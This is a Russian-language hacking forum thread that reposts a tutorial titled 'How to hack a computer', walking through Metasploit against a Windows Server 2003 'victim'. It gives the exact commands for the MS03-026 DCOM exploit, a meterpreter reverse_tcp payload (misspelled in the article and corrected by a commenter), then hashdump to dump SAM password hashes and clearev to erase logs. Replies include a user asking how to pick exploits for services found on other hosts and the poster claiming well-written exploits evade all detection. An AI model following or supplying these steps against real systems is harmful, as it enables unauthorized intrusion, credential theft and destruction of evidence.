Загрузка...

Как взломать компьютер. Практический пример работы с Metasploit Framework

Тема в разделе Kali Linux создана пользователем MarioRomario 18 авг 2019. (поднята 18 авг 2019) 20 434 просмотра

Загрузка...
  1. MarioRomario
    MarioRomario Автор темы 18 авг 2019 12 3 авг 2019
    Автор: Dinesh Shetty

    Фреймворк Metasploit обладает тремя рабочими окружениями: msfconsole, msfcli и msfweb. Основным и наиболее предпочтительным из трех перечисленных вариантов является первый - msfconsole. Это окружение представляет из себя эффективный интерфейс командной строки со своим собственным набором команд и системным окружением.
    Перед запуском Metasploit полезно было бы понять, что делают хотя бы некоторые его команды. Давайте составим ниже небольшой список наиболее распространенных и применимых на практике команд. Графическое представление вывода этих команд также будет представлено в этой статье и мы воспользуемся им для объяснения процесса пентестинга хостов в дальнейшем.

    Список наиболее употребимых команд:

    1) search <keyword>: запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение <keyword> имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

    2) show exploits: указав команду show exploits, мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

    3) show payloads: аналогично предыдущим командам show, показывает доступные в системе payload'ы. Запускаем команду show payloads и изучаем получившийся список.

    4) show options: набрав в командной строке show options, вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

    5) info <type> <name>: если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info. Скажем, вам нужно подробное описание payload'а winbind. Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

    6) use <exploit_name>: команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

    7) set RHOST <hostname_or_ip>: указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

    8) set RPORT <host_port>: задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

    9) set payload <generic/shell_bind_tcp>: команда указывает имя payload'а, который будет использоваться.

    10) set LPORT <local_port>: задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

    11) exploit: запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit, которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

    12) help: команда help выдаст полный перечень всех доступных команд системы.

    Машина жертвы:

    OS: Microsoft Windows Server 2003

    IP: 192.168.42.129

    Наша машина:

    OS: BackTrack 5

    Kernel version: Linux bt 2.6.38 # SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

    Metasploit version: Built in version of metasploit 3.8.0-dev

    IP: 192.168.42.128

    И так начнем

    Шаг 1:

    Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот.

    [IMG]

    Шаг 2:

    На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

    Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

    Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте.

    [IMG]

    Шаг 3:

    Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit. Для того, чтобы увидеть список всех эксплоитов, доступных в Metasploit, запустим команду show exploits. Мы увидим все, которые можно использовать в нашей системе.

    Как вы уже могли заметить, стандартная инсталляция Metasploit Framework 3.8.0-dev имеет в своем составе 696 эксплоитов и 224 payload'а. Список впечатляющий, так что найти нужный сплоит в нем является задачей поистине трудной и утомительной. Но мы воспользуемся более простым и удобным способом. Один из них - http://metasploit.com/modules/ (не реклама) и воспользуйтесь поиском на сайте.Второй способ - запустить команду search <keyword> в самом Metasploit для поиска соответствующего эксплоита RPC.

    В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc. Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole, как показано на скриншоте.

    [IMG]

    Шаг 4:

    Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom. Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

    Шаг 5:

    В общем случае запуск команды use <exploit_name> запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

    [IMG]

    Как видно на скриншоте, после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) >. Это означает, что мы перешли во временное окружение этого эксплоита.

    Шаг 6:

    Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135. Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST.

    Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129., как на скриншоте.

    [IMG]

    Шаг 7:

    Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads.

    [IMG]

    Как видно на скриншоте, команда show payloads покажет нам все payload'ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter, задав его командой set PAYLOAD windows/meterpreter/reserve_tcp, что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

    [IMG]

    Обратите внимание, что параметр LHOST для payload'а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128.

    Шаг 8:

    Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

    Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте хорошо видно, что в нашем случае это именно так.

    [IMG]

    Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

    В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check.

    Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

    [IMG]

    На скриншоте видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter >.

    Шаг 9:

    Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

    Ниже показаны результаты некоторых команд meterpreter:

    • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
    • getuid - отображает имя сервера в консоли;
    • hashdump - создает dump базы данных SAM;
    • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.
    Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

    Эта статья является поверхностным обзором по использованию фреймворка Metasploit. Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с Metasploit, приобретенный в этой статье, поможет вам понять принципы работы эксплоитов.
     
    18 авг 2019 Изменено
  2. MarioRomario
    MarioRomario Автор темы 23 авг 2019 12 3 авг 2019
    Удачи
     
  3. Fuck_inactive72236
    Fuck_inactive72236 23 авг 2019 Заблокирован(а) 381 5 янв 2017
    На 10 винде ток под криптом возможно будет работать , даже защитник виндовс его детектит...
     
  4. MarioRomario
    MarioRomario Автор темы 23 авг 2019 12 3 авг 2019
    Я и не говорил, что сам написал
    Я просто нашел годную тему у себя на компьютере
     
  5. MarioRomario
    MarioRomario Автор темы 24 авг 2019 12 3 авг 2019
    Если правильно написать эксплоит, то никакая система не заметит
     
  6. zaebalo
    zaebalo 27 авг 2019 Заблокирован(а)
    Похую что знаю это и что это копипаст (скорее всего), но лайк так и быть поставлю, хоть что-то годное написал, а не как некоторые. Респект таким новокекам :froglove:
     
  7. kravl
    kravl 31 авг 2019 Заблокирован(а) 67 13 янв 2017
    zaebalo, Если бы оно еще и работало и ТС понимал о чем идет речь, а тут весь смысл его поста теряется до первой ошибки, так как он не знает ее пофиксить. Когда создается тема ты должен либо указать, что копипаст и сам ничего не знаешь, либо писать то, в чем разбираешься.
     
  8. andrew0149
    andrew0149 12 сен 2019 username: andrew0149 password: ******** 3 27 дек 2017
    очень жаль, что материал не новый и вряд ли будет полезен в современных реалиях ( я про то, что в статье упоминается эксплоит для вин-сервера 2003-его года ), но это хотя бы не EternalBlue, которого в этом чудесном разделе и так полно. А это уже хорошо!
     
  9. JustSkil
    JustSkil 16 сен 2019 497 2 авг 2019
    Скажем, вам нужно подробное описание payload'а winbind.!
     
  10. GL00M59
    GL00M59 16 сен 2019 young bless 413 12 авг 2018
    Ебать статья в 3и километра
     
  11. fourlenCS
    fourlenCS 17 сен 2019 0 28 янв 2019
    В статье ошибка,не set PAYLOAD windows/meterpreter/reserve_tcp,а set PAYLOAD windows/meterpreter/reverse_tcp
     
  12. fuli4
    fuli4 17 сен 2019 Заблокирован(а) 270 10 сен 2019
    Ну держись, информатичка....
     
  13. dgussepe_inactive524093
    Как он понял что на 135 порту работает dcerpc? можно как по порту узнать что за служба на нем запущенна и какой эксплоит юзать под него?
     
  14. toretto1993
    так это закидывать кому то надо на комп?:thinking:
     
  15. MarioRomario
    MarioRomario Автор темы 2 фев 2020 12 3 авг 2019
    toretto1993, Нет, это удаленный доступ
    --- Сообщение объединено с предыдущим 2 фев 2020
    dgussepe_inactive524093, nmap помогает найти этот порт и что на нем работает, а эксплоит надо юзать смотря какая OC
     
  16. dgussepe_inactive524093
    Проблема у меня в том ,что я не могу найти exploit под обнаруженный открытый порт.Может подскажите ,мамкиному хакеру ,как без проблем найти нужный exploit под серис работающий.Search в Metasploit пробовал, но там такое колличество предложений из которых масса не подходящих (несмотря на их статус) под мои задачи.
     
  17. MarioRomario
    MarioRomario Автор темы 7 фев 2020 12 3 авг 2019
Top